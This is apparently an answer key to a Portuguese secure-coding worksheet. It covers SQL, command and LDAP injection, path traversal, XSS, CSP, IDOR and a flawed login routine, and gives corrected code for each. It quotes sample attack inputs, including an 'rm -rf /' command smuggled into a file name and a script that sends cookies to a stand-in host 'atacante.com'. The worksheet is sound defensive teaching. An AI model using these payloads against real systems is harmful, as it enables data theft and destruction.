Ficha 01 · Vulnerabilidades comuns

a) Input malicioso:

Ana' OR '1'='1' --

Resulta em:

SELECT * FROM users WHERE nome = 'Ana' OR '1'='1' --' AND ativo = 1

Os -- comentam o resto; '1'='1' é sempre verdadeiro; devolve todos os utilizadores (incluindo inactivos).

b) Correcção:

cursor.execute(
    "SELECT * FROM users WHERE nome = %s AND ativo = 1",
    (nome,)
)

Driver escapa automaticamente; input do utilizador é tratado como valor, nunca como SQL.

a) Command injection. Input malicioso: image.jpg; rm -rf /. Prevenção: subprocess.run(["convert", file, "out.png"], shell=False) ou validar nome contra whitelist.

b) LDAP injection. Input malicioso: *)(uid=* poderia listar todos os utilizadores. Prevenção: escape de caracteres especiais LDAP ((, ), *, etc.) ou usar bind parameters da biblioteca LDAP.

c) Path traversal. Permite leitura de qualquer ficheiro do servidor. Prevenção: validar contra whitelist, usar os.path.realpath() e verificar que está dentro da pasta autorizada, ou armazenar referências numéricas em vez de nomes.

a) |safe diz ao Jinja2 para não escapar o HTML — interpreta-o como markup. Se comentario vier de input do utilizador, qualquer tag HTML/JS executa.

b) Ataques possíveis: - Roubo de cookies: <script>fetch('http://atacante.com?c='+document.cookie)</script>. - Phishing: inserir form que rouba credenciais. - Defacement: alterar visual da página para outros utilizadores. - Keylogger: capturar tudo o que utilizador digita.

c) Correcção:

Remover |safe (escape automático trata < como <):

<div>{{ comentario }}</div>

Se precisar permitir formatação:

import bleach

comentario_seguro = bleach.clean(
    comentario,
    tags=["b", "i", "u", "p", "br"],
    attributes={}
)

E continuar sem |safe no template — bleach já sanitizou.

a) CSP (Content Security Policy) é um header HTTP que diz ao browser de onde pode carregar scripts, imagens, CSS, fontes, etc. Mitiga XSS porque mesmo que atacante consiga injectar <script>, o browser bloqueia execução se não vier de origem aprovada.

b) Exemplo restritivo:

Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'

• default-src 'self' — só do próprio domínio.
• img-src 'self' data: — imagens próprias + base64 inline.
• style-src 'self' 'unsafe-inline' — CSS próprio + inline (idealmente eliminar inline).
• script-src 'self' — JS só próprio.

Problema: verifica se utilizador está autenticado, mas não verifica se a encomenda lhe pertence.

Utilizador autenticado pode mudar id na URL e ver encomendas de outros utilizadores (IDOR — Insecure Direct Object Reference).

Correcção:

@app.route("/api/encomendas/<int:id>")
@login_required
def ver_encomenda(id):
    enc = Encomenda.query.get_or_404(id)
    if enc.cliente_id != current_user.id and not current_user.is_admin:
        abort(403)
    return jsonify(enc.to_dict())

Verifica que: - Encomenda existe (404 se não). - Pertence ao utilizador autenticado (ou utilizador é admin). - Devolve 403 Forbidden se não tiver permissão.

Não. A verificação no frontend é só UX — qualquer utilizador pode usar curl/Postman para fazer DELETE directamente.

Solução: verificação no backend:

@app.route("/users/<int:id>", methods=["DELETE"])
@login_required
def apagar_user(id):
    if not current_user.is_admin:
        abort(403)
    user = User.query.get_or_404(id)
    db.session.delete(user)
    db.session.commit()
    return "", 204

Regra: toda verificação de segurança no servidor. Frontend pode esconder/desactivar para UX, mas backend nunca confia.

Problemas:

1. SQL injection — query construída com f-string. Input ' OR '1'='1 bypassa autenticação. Usar prepared statements.

2. Hash inseguro — MD5 é quebrado, rápido demais para senhas. Usar bcrypt.

3. Credenciais em GET — request.args lê query string; senha aparece em logs de servidor, browser history, referer. Usar POST com body.

4. XSS — "<p>Bem-vindo " + user + "</p>" concatena input sem escape. Input <script>...</script> executa.

5. Sem rate limiting — atacante pode tentar milhares de senhas. Implementar throttling.

6. Sem logging de tentativas — falhas de login não são auditadas.

7. Resposta genérica não diferencia "user inexistente" de "senha errada" — bom para segurança, mas a mensagem "Login failed" deveria ser ainda mais vaga.

Versão corrigida:

import bcrypt
import logging
from flask import request, session, render_template_string

logger = logging.getLogger(__name__)

def login(request):
    if request.method != "POST":
        return "Method not allowed", 405

    user = request.form.get("user")
    pwd = request.form.get("pwd")
    if not user or not pwd:
        return "Bad request", 400

    # Rate limiting (Flask-Limiter, etc.) — omitido por brevidade

    with sqlite3.connect("app.db") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT id, pwd_hash FROM users WHERE nome = ?", (user,))
        row = cursor.fetchone()

    ok = row and bcrypt.checkpw(pwd.encode(), row[1].encode())
    logger.info(f"Login attempt: user={user} success={ok} ip={request.remote_addr}")

    if ok:
        session["user_id"] = row[0]
        return render_template_string("<p>Bem-vindo {{ user }}</p>", user=user)
    return "Login failed", 401